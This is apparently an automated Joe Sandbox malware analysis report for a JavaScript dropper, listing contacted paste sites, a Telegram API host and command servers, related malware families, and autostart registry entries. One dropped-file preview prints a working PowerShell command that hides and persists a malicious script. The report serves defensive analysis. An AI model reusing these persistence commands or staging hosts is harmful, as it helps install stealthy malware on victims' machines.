                                                                                                      https://analytics.paste.ee;powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://paste.ee/d/aGYNy/0Ppowershell.exe, 00000004.00000002.1992997309.00000177D91EF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          https://aka.ms/pscore68powershell.exe, 00000004.00000002.1992997309.00000177D8CC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1896186167.000002B69A4E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1895604908.0000024FE2531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2087771963.00000182AAD91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1930109525.00000220D3171000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2013251264.0000020ECDF7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2013251264.0000020ECDF69000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E68005E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E68004B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2229713334.0000020922D6D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2229713334.0000020922D5F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3D27E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3D269000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.2332458861.000001709AA8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.2332458861.000001709AA9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015585FFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015585FE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2361827508.0000025F80033000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2361827508.0000025F8005D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2496598586.000001628D04E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2496598586.000001628D03B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://pastebin.compowershell.exe, 00000004.00000002.1992997309.00000177DA4F8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2013251264.0000020ECE7A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E680887000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3DAA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015586829000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2425933120.000001D333568000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              https://pastebin.compowershell.exe, 00000004.00000002.1992997309.00000177DA4C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2013251264.0000020ECE788000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2070695014.000001E68086E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3D7DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2195585060.000001DE3DAA2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.0000015586824000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002C.00000002.2333261639.000001558681C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2425933120.000001D33355A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2425933120.000001D333562000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://themes.googleusercontent.compowershell.exe, 00000004.00000002.1992997309.00000177D9144000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA480000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177DA4A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D916E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D91F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D914C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1992997309.00000177D9130000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  http://crl.microspowershell.exe, 00000005.00000002.2334258140.000002B6B29B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2824594158.000001E6F71F8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    		high

                                                                                                                    World Map of Contacted IPs

                                                                                                                    • No. of IPs < 25%
                                                                                                                    • 25% < No. of IPs < 50%
                                                                                                                    • 50% < No. of IPs < 75%
                                                                                                                    • 75% < No. of IPs

                                                                                                                    Public IPs

                                                                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                                                                    104.20.3.235
                                                                                                                    		pastebin.comUnited States
                                                                                                                    		13335CLOUDFLARENETUSfalse
                                                                                                                    149.154.167.220
                                                                                                                    		api.telegram.orgUnited Kingdom
                                                                                                                    		62041TELEGRAMRUfalse
                                                                                                                    188.114.97.3
                                                                                                                    		paste.eeEuropean Union
                                                                                                                    		13335CLOUDFLARENETUSfalse
                                                                                                                    64.235.43.128
                                                                                                                    		masclauxtoitures.frUnited States
                                                                                                                    		26277PREMIANETUStrue
                                                                                                                    191.252.83.213
                                                                                                                    		desckvbrat.com.brBrazil
                                                                                                                    		27715LocawebServicosdeInternetSABRtrue
                                                                                                                    178.73.218.6
                                                                                                                    		moneyluck.duckdns.orgSweden
                                                                                                                    		42708PORTLANEwwwportlanecomSEtrue

                                                                                                                    General Information

                                                                                                                    Joe Sandbox version:41.0.0 Charoite
                                                                                                                    Analysis ID:1559259
                                                                                                                    Start date and time:2024-11-20 11:05:09 +01:00
                                                                                                                    Joe Sandbox product:CloudBasic
                                                                                                                    Overall analysis duration:0h 11m 7s
                                                                                                                    Hypervisor based Inspection enabled:false
                                                                                                                    Report type:full
                                                                                                                    Cookbook file name:default.jbs
                                                                                                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                    Number of analysed new started processes analysed:60
                                                                                                                    Number of new started drivers analysed:0
                                                                                                                    Number of existing processes analysed:0
                                                                                                                    Number of existing drivers analysed:0
                                                                                                                    Number of injected processes analysed:0
                                                                                                                    Technologies:
                                                                                                                    • HCA enabled
                                                                                                                    • EGA enabled
                                                                                                                    • AMSI enabled
                                                                                                                    Analysis Mode:default
                                                                                                                    Analysis stop reason:Timeout
                                                                                                                    Sample name:DEVIS_VALIDE.js
                                                                                                                    Detection:MAL
                                                                                                                    Classification:mal100.spre.troj.spyw.expl.evad.winJS@93/83@6/6
                                                                                                                    EGA Information:
                                                                                                                    • Successful, ratio: 25%
                                                                                                                    HCA Information:
                                                                                                                    • Successful, ratio: 98%
                                                                                                                    • Number of executed functions: 75
                                                                                                                    • Number of non-executed functions: 3
                                                                                                                    Cookbook Comments:
                                                                                                                    • Found application associated with file extension: .js

                                                                                                                    Warnings

                                                                                                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, consent.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                                                                                    • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                    • Execution Graph export aborted for target RegAsm.exe, PID 2540 because it is empty
                                                                                                                    • Execution Graph export aborted for target RegAsm.exe, PID 4080 because it is empty
                                                                                                                    • Execution Graph export aborted for target RegAsm.exe, PID 8472 because it is empty
                                                                                                                    • Execution Graph export aborted for target RegAsm.exe, PID 9004 because it is empty
                                                                                                                    • Execution Graph export aborted for target powershell.exe, PID 4944 because it is empty
                                                                                                                    • Execution Graph export aborted for target powershell.exe, PID 6276 because it is empty
                                                                                                                    • Not all processes where analyzed, report is missing behavior information
                                                                                                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                    • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                    • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                    • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                                    • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                    • VT rate limit hit for: DEVIS_VALIDE.js

                                                                                                                    Simulations

                                                                                                                    Behavior and APIs

                                                                                                                    TimeTypeDescription
                                                                                                                    05:06:10API Interceptor1066069x Sleep call for process: powershell.exe modified
                                                                                                                    05:06:42API Interceptor1456311x Sleep call for process: RegAsm.exe modified
                                                                                                                    10:06:26AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_nzm cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                                                                                                                    10:06:34AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_lme cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                                                                                                                    10:06:43AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_nzm cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                                                                                                                    10:06:57AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce Update Drivers NVIDEO_lme cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit

                                                                                                                    Joe Sandbox View / Context

                                                                                                                    IPs

                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                    104.20.3.235cr_asm3.ps1Get hashmaliciousUnknownBrowse
                                                                                                                    • pastebin.com/raw/sA04Mwk2
                                                                                                                    gabe.ps1Get hashmaliciousUnknownBrowse
                                                                                                                    • pastebin.com/raw/sA04Mwk2
                                                                                                                    cr_asm.ps1Get hashmaliciousUnknownBrowse
                                                                                                                    • pastebin.com/raw/sA04Mwk2
                                                                                                                    cr_asm_atCAD.ps1Get hashmaliciousUnknownBrowse
                                                                                                                    • pastebin.com/raw/sA04Mwk2
                                                                                                                    vF20HtY4a4.exeGet hashmaliciousUnknownBrowse
                                                                                                                    • pastebin.com/raw/sA04Mwk2
                                                                                                                    OSLdZanXNc.exeGet hashmaliciousUnknownBrowse
                                                                                                                    • pastebin.com/raw/sA04Mwk2
                                                                                                                    5UIy3bo46y.dllGet hashmaliciousUnknownBrowse
                                                                                                                    • pastebin.com/raw/sA04Mwk2
                                                                                                                    Lm9IJ4r9oO.exeGet hashmaliciousUnknownBrowse
                                                                                                                    • pastebin.com/raw/sA04Mwk2
                                                                                                                    BeginSync lnk.lnkGet hashmaliciousUnknownBrowse
                                                                                                                    • pastebin.com/raw/sA04Mwk2
                                                                                                                    sostener.vbsGet hashmaliciousNjratBrowse
                                                                                                                    • pastebin.com/raw/V9y5Q5vv
                                                                                                                    149.154.167.220PayeeAdvice_HK54912_R0038704_37504.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                      GST DRC-01A - DIN-20230359XL050081843E_msg.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                        Quote document and order list.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                          new order #738833.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                            FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                              114117914 - Rebound Electronics.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                #U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                  BOQ and Full Specification.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                    Request for Quotation MK FMHS.RFQ.24.11.20.bat.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                      Quote specification and BOQ.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        188.114.97.3RFQ 3100185 MAHAD.exeGet hashmaliciousFormBookBrowse
                                                                                                                                        • www.rgenerousrs.store/o362/
                                                                                                                                        A2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                                                                                                        • www.beylikduzu616161.xyz/2nga/
                                                                                                                                        Delivery_Notification_00000260791.doc.jsGet hashmaliciousUnknownBrowse
                                                                                                                                        • radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45
                                                                                                                                        ce.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                        • paste.ee/d/lxvbq
                                                                                                                                        Label_00000852555.doc.jsGet hashmaliciousUnknownBrowse
                                                                                                                                        • tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
                                                                                                                                        PO 20495088.exeGet hashmaliciousFormBookBrowse
                                                                                                                                        • www.ssrnoremt-rise.sbs/3jsc/
                                                                                                                                        QUOTATION_NOVQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                                                                        • filetransfer.io/data-package/zWkbOqX7/download
                                                                                                                                        http://kklk16.bsyo45ksda.topGet hashmaliciousUnknownBrowse
                                                                                                                                        • kklk16.bsyo45ksda.top/favicon.ico
                                                                                                                                        gusetup.exeGet hashmaliciousUnknownBrowse
                                                                                                                                        • www.glarysoft.com/update/glary-utilities/pro/pro50/
                                                                                                                                        Online Interview Scheduling Form.lnkGet hashmaliciousDucktailBrowse
                                                                                                                                        • gmtagency.online/api/check

                                                                                                                                        Domains

                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                        moneyluck.duckdns.orgdownload.exeGet hashmaliciousRemcos, XWormBrowse
                                                                                                                                        • 188.126.90.3
                                                                                                                                        paste.eece.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                        • 188.114.97.3
                                                                                                                                        download.exeGet hashmaliciousRemcos, XWormBrowse
                                                                                                                                        • 188.114.97.3
                                                                                                                                        SWIFT 103 202414111523339800 111124.pdf.vbsGet hashmaliciousRemcosBrowse
                                                                                                                                        • 188.114.97.3
                                                                                                                                        Yeni sipari#U015f _TR-59647-WJO-001.vbsGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        Scan12112024,pdf.vbsGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 188.114.97.3
                                                                                                                                        Scan12112024,pdf.vbsGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 188.114.97.3
                                                                                                                                        Scan112024.vbsGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 188.114.97.3
                                                                                                                                        Consulta de encomenda N#U00ba TM06-Q2-11-24.vbsGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        Inquiry HA-22-28199 22-077.vbsGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        asegurar.vbsGet hashmaliciousRemcosBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        api.telegram.orgPayeeAdvice_HK54912_R0038704_37504.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        GST DRC-01A - DIN-20230359XL050081843E_msg.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        Quote document and order list.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        new order #738833.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        114117914 - Rebound Electronics.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        #U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        BOQ and Full Specification.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        Request for Quotation MK FMHS.RFQ.24.11.20.bat.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        Quote specification and BOQ.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 149.154.167.220

                                                                                                                                        ASNs

                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                        TELEGRAMRUPayeeAdvice_HK54912_R0038704_37504.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        GST DRC-01A - DIN-20230359XL050081843E_msg.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        Quote document and order list.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        new order #738833.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        114117914 - Rebound Electronics.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        #U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        BOQ and Full Specification.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        Request for Quotation MK FMHS.RFQ.24.11.20.bat.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        Quote specification and BOQ.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 149.154.167.220
                                                                                                                                        CLOUDFLARENETUSfile.exeGet hashmaliciousPureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, StealcBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        http://mt6j71.p1keesoulharmony.com/Get hashmaliciousHTMLPhisher, EvilProxyBrowse
                                                                                                                                        • 104.21.36.30
                                                                                                                                        https://files-pdf-73j.pages.dev/?e=info@camida.comGet hashmaliciousUnknownBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        file.exeGet hashmaliciousLummaCBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        IBKB.vbsGet hashmaliciousAgentTesla, DBatLoader, PureLog StealerBrowse
                                                                                                                                        • 172.67.74.152
                                                                                                                                        PayeeAdvice_HK54912_R0038704_37504.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        GST DRC-01A - DIN-20230359XL050081843E_msg.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        Quote document and order list.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 188.114.97.3
                                                                                                                                        new order #738833.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 188.114.97.3
                                                                                                                                        CLOUDFLARENETUSfile.exeGet hashmaliciousPureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, StealcBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        http://mt6j71.p1keesoulharmony.com/Get hashmaliciousHTMLPhisher, EvilProxyBrowse
                                                                                                                                        • 104.21.36.30
                                                                                                                                        https://files-pdf-73j.pages.dev/?e=info@camida.comGet hashmaliciousUnknownBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        file.exeGet hashmaliciousLummaCBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        IBKB.vbsGet hashmaliciousAgentTesla, DBatLoader, PureLog StealerBrowse
                                                                                                                                        • 172.67.74.152
                                                                                                                                        PayeeAdvice_HK54912_R0038704_37504.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        CV_ Filipa Barbosa.exeGet hashmaliciousFormBookBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        GST DRC-01A - DIN-20230359XL050081843E_msg.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 188.114.96.3
                                                                                                                                        Quote document and order list.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 188.114.97.3
                                                                                                                                        new order #738833.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 188.114.97.3
                                                                                                                                        PREMIANETUSdownload.exeGet hashmaliciousRemcos, XWormBrowse
                                                                                                                                        • 64.235.43.128
                                                                                                                                        Satan.mpsl.elfGet hashmaliciousUnknownBrowse
                                                                                                                                        • 64.235.45.196
                                                                                                                                        Satan.m68k.elfGet hashmaliciousMiraiBrowse
                                                                                                                                        • 64.235.45.196
                                                                                                                                        Satan.arm.elfGet hashmaliciousMiraiBrowse
                                                                                                                                        • 64.235.45.196
                                                                                                                                        Satan.arm6.elfGet hashmaliciousUnknownBrowse
                                                                                                                                        • 64.235.45.196
                                                                                                                                        Satan.i686.elfGet hashmaliciousUnknownBrowse
                                                                                                                                        • 64.235.45.196
                                                                                                                                        Satan.ppc.elfGet hashmaliciousUnknownBrowse
                                                                                                                                        • 64.235.45.196
                                                                                                                                        Satan.sh4.elfGet hashmaliciousUnknownBrowse
                                                                                                                                        • 64.235.45.196
                                                                                                                                        Satan.x86.elfGet hashmaliciousUnknownBrowse
                                                                                                                                        • 64.235.45.196
                                                                                                                                        Satan.arm7.elfGet hashmaliciousMiraiBrowse
                                                                                                                                        • 64.235.45.196

                                                                                                                                        JA3 Fingerprints

                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                        3b5074b1b5d032e5620f69f9f700ff0efile.exeGet hashmaliciousPureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, StealcBrowse
                                                                                                                                        • 104.20.3.235
                                                                                                                                        • 149.154.167.220
                                                                                                                                        • 64.235.43.128
                                                                                                                                        • 188.114.97.3
                                                                                                                                        IBKB.vbsGet hashmaliciousAgentTesla, DBatLoader, PureLog StealerBrowse
                                                                                                                                        • 104.20.3.235
                                                                                                                                        • 149.154.167.220
                                                                                                                                        • 64.235.43.128
                                                                                                                                        • 188.114.97.3
                                                                                                                                        ________.exeGet hashmaliciousQuasarBrowse
                                                                                                                                        • 104.20.3.235
                                                                                                                                        • 149.154.167.220
                                                                                                                                        • 64.235.43.128
                                                                                                                                        • 188.114.97.3
                                                                                                                                        PayeeAdvice_HK54912_R0038704_37504.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                        • 104.20.3.235
                                                                                                                                        • 149.154.167.220
                                                                                                                                        • 64.235.43.128
                                                                                                                                        • 188.114.97.3
                                                                                                                                        GST DRC-01A - DIN-20230359XL050081843E_msg.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 104.20.3.235
                                                                                                                                        • 149.154.167.220
                                                                                                                                        • 64.235.43.128
                                                                                                                                        • 188.114.97.3
                                                                                                                                        Quote document and order list.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 104.20.3.235
                                                                                                                                        • 149.154.167.220
                                                                                                                                        • 64.235.43.128
                                                                                                                                        • 188.114.97.3
                                                                                                                                        new order #738833.exeGet hashmaliciousGuLoaderBrowse
                                                                                                                                        • 104.20.3.235
                                                                                                                                        • 149.154.167.220
                                                                                                                                        • 64.235.43.128
                                                                                                                                        • 188.114.97.3
                                                                                                                                        order and drawings_pdf.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                        • 104.20.3.235
                                                                                                                                        • 149.154.167.220
                                                                                                                                        • 64.235.43.128
                                                                                                                                        • 188.114.97.3
                                                                                                                                        FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                                                        • 104.20.3.235
                                                                                                                                        • 149.154.167.220
                                                                                                                                        • 64.235.43.128
                                                                                                                                        • 188.114.97.3
                                                                                                                                        114117914 - Rebound Electronics.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                                                                        • 104.20.3.235
                                                                                                                                        • 149.154.167.220
                                                                                                                                        • 64.235.43.128
                                                                                                                                        • 188.114.97.3

                                                                                                                                        Dropped Files

                                                                                                                                        ⊘No context

                                                                                                                                        Created / dropped Files

                                                                                                                                        C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1

                                                                                                                                        Download File
                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        File Type:ASCII text, with very long lines (431), with no line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):431
                                                                                                                                        Entropy (8bit):5.191164316064135
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:jt2cVeDuwZH1j5tjo5inrcsny1R3KbQO0c+EkjAuwkn2nK1Mc15d55d55d55yF3w:jZ0VVjNYsngkbQpc++pfUrddy67
                                                                                                                                        MD5:D3CD18FE80CD2B0748AD3D85DDCD4E02
                                                                                                                                        SHA1:DC533882FB27C523ADE9B5A57E1CCCDA5DA93D2D
                                                                                                                                        SHA-256:FEDC838657BD07DF2B29611C1F31BB304F5830F67E7F42FE182587F41A1DE9FD
                                                                                                                                        SHA-512:767C2ADF726F0009E12B8270F643D461773849ACE4EF2D86C31DA3F95B3DEA240D45AD238B8B30C3FEA533CCEC02C7354884592D0A0A8F6F0BC62CF723D681B5
                                                                                                                                        Malicious:true
                                                                                                                                        Preview:Start-Sleep -Seconds 10; New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" -Name "Update Drivers NVIDEO_lme" -Value "cmd.exe /c start /min `"`" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command `". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' `";exit" -PropertyType "String" -force ; exit

                                                                                                                                        C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1

